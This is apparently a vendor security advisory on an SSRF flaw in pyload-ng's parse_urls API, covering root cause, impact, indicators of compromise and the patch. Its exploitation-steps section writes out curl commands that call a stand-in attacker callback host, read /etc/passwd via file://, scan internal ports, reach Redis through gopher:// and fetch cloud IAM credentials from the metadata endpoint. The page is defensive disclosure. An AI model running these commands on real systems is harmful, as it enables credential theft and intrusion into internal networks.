CVE-2026-35187: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-35187 is a Server-Side Request Forgery (SSRF) vulnerability in the parse_urls API endpoint of pyload-ng, an open-source download manager. The flaw exists in src/pyload/core/api/__init__.py (line 556), where the get_url(url) function (backed by pycurl) fetches arbitrary URLs without any protocol restriction, URL validation, or IP blocklist. All versions of pyload-ng up to and including 0.5.0b3.dev96 are affected; the patched version is 0.5.0b3.dev97. It carries a CVSS v3.1 base score of 7.7 (High) (GitHub Advisory, pyload Security Advisory). The vulnerability was reported by researcher morimori-dev, published April 1, 2026, and added to the GitHub Advisory Database on April 4, 2026.

Technical details

The root cause is CWE-918 (Server-Side Request Forgery): the parse_urls function passes the user-supplied url parameter directly to get_url(url) (pycurl) with no validation whatsoever — no protocol allowlist, no IP blocklist, and no hostname resolution check (GitHub Advisory). Because pycurl natively supports file://, gopher://, dict://, and other non-HTTP protocols, an attacker can abuse these to read local files, interact with internal services, or perform out-of-band DNS/HTTP exfiltration. Exploitation requires only an authenticated session with ADD permission and a valid CSRF token, making the attack complexity low. The fix (commit 4032e57) restricts the scheme to http/https and validates that the resolved hostname is a globally routable IP via a new is_global_host() helper (Patch Commit).

Impact

Successful exploitation allows an authenticated attacker to read sensitive local files (e.g., /etc/passwd, /proc/self/environ, pyload.cfg, pyload.db) via the file:// protocol, enumerate file existence through an error-based oracle (pycurl error 37 vs. empty response), and access cloud instance metadata endpoints such as AWS IAM credentials at http://169.254.169.254/ (pyload Security Advisory). Additionally, attackers can scan internal network ports via timing-based responses and interact with internal services (Redis, memcached, SMTP) via gopher:// and dict:// protocols, potentially enabling further lateral movement or remote code execution on co-located services. The scope is marked as Changed in CVSS because the vulnerable component (pyload) can affect resources beyond its own security boundary (internal network and host filesystem).

Exploitability

A proof-of-concept (PoC) is publicly available in the GitHub Security Advisory, including concrete curl commands demonstrating file read, port scanning, and protocol abuse (pyload Security Advisory). The EPSS score is approximately 0.028% (0.000280), placing it in the 13th percentile for exploitation likelihood within 30 days (GitHub Advisory). There is currently no evidence of in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. Qualys has assigned detection ID 5010445 for this vulnerability.

Exploitation steps

  1. Reconnaissance: Identify internet-facing or network-accessible pyload-ng instances running version ≤ 0.5.0b3.dev96 (e.g., via Shodan searching for pyload web interfaces on port 8000/8084).
  2. Authenticate and obtain CSRF token: Log in as any user with ADD permission. Extract the CSRF token from the session cookie or response headers.
  3. PoC 1 — Out-of-Band SSRF (HTTP/DNS exfiltration): Send a crafted POST request to /api/parse_urls with a URL pointing to an attacker-controlled callback server:
    curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: <TOKEN>" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "url=http://attacker-callback.example.com/pyload-ssrf-poc" \
      http://target:8084/api/parse_urls
    Observe DNS/HTTP interactions on the callback server.
  4. PoC 2 — Local file read via file://: Submit a file:// URL to read sensitive files:
    curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: <TOKEN>" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "url=file:///etc/passwd" http://target:8084/api/parse_urls
    # Empty response = file exists and was read; any URL-like strings in the file are returned
    curl ... -d "url=file:///nonexistent"  # Returns pycurl error 37 = file does not exist
  5. PoC 3 — Internal port scanning: Probe internal services by observing error messages:
    curl ... -d "url=http://127.0.0.1:22/" http://target:8084/api/parse_urls
    # "Failed to connect" = port closed; empty/valid response = port open
  6. PoC 4 — Internal service interaction via gopher:///dict://: Interact with Redis, memcached, or SMTP:
    curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://target:8084/api/parse_urls
    curl ... -d "url=dict://127.0.0.1:11211/stat" http://target:8084/api/parse_urls
  7. Cloud metadata exfiltration: Access AWS IAM credentials or GCP tokens:
    curl ... -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
      http://target:8084/api/parse_urls
    (pyload Security Advisory)

Indicators of compromise

  • Network: Outbound HTTP/DNS requests from the pyload server to attacker-controlled callback domains or IPs; outbound connections to 169.254.169.254 (AWS/GCP metadata); outbound connections to internal RFC-1918 addresses or loopback (127.0.0.1) on unusual ports (6379/Redis, 11211/memcached, 25/SMTP).
  • Logs: pyload access logs showing POST requests to /api/parse_urls with url parameters containing file://, gopher://, dict://, or http://169.254.x.x schemes; repeated requests with varying file:// paths (indicative of file enumeration); pycurl error responses such as (37, 'Couldn't open file ...') or (7, 'Failed to connect to 127.0.0.1 port ...') in application logs.
  • File System: No direct file artifacts are created by exploitation, but sensitive files such as /proc/self/environ, /config/settings/pyload.cfg, and /config/data/pyload.db may have been accessed and their URL-like contents exfiltrated.
  • Process: Unusual outbound network connections initiated by the pyload Python process to internal or metadata IP ranges. (pyload Security Advisory)

Mitigation and workarounds

Upgrade pyload-ng to version 0.5.0b3.dev97 or later, which restricts the parse_urls function to only allow http and https schemes and validates that the resolved hostname is a globally routable IP address via the new is_global_host() helper (Patch Commit, pyload Security Advisory). If immediate upgrade is not possible, consider restricting network-level access to the pyload instance so that only trusted users can reach the API, and apply egress firewall rules to block outbound connections from the pyload server to internal RFC-1918 ranges and cloud metadata endpoints (169.254.169.254). Additionally, review and minimize the number of accounts granted ADD permission.

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v2f8-6655-7grjCRITICAL10
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
CVE-2026-105782HIGH7.5
  • Python logoPython
  • scrapy
NoYesOct 06, 2026
GHSA-v853-p72q-4cfwHIGH7.5
  • Python logoPython
  • quart
NoYesOct 05, 2026
CVE-2026-105751MEDIUM6.9
  • Python logoPython
  • docling
NoYesOct 05, 2026
CVE-2026-105750MEDIUM5.9
  • Python logoPython
  • docling
NoYesOct 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management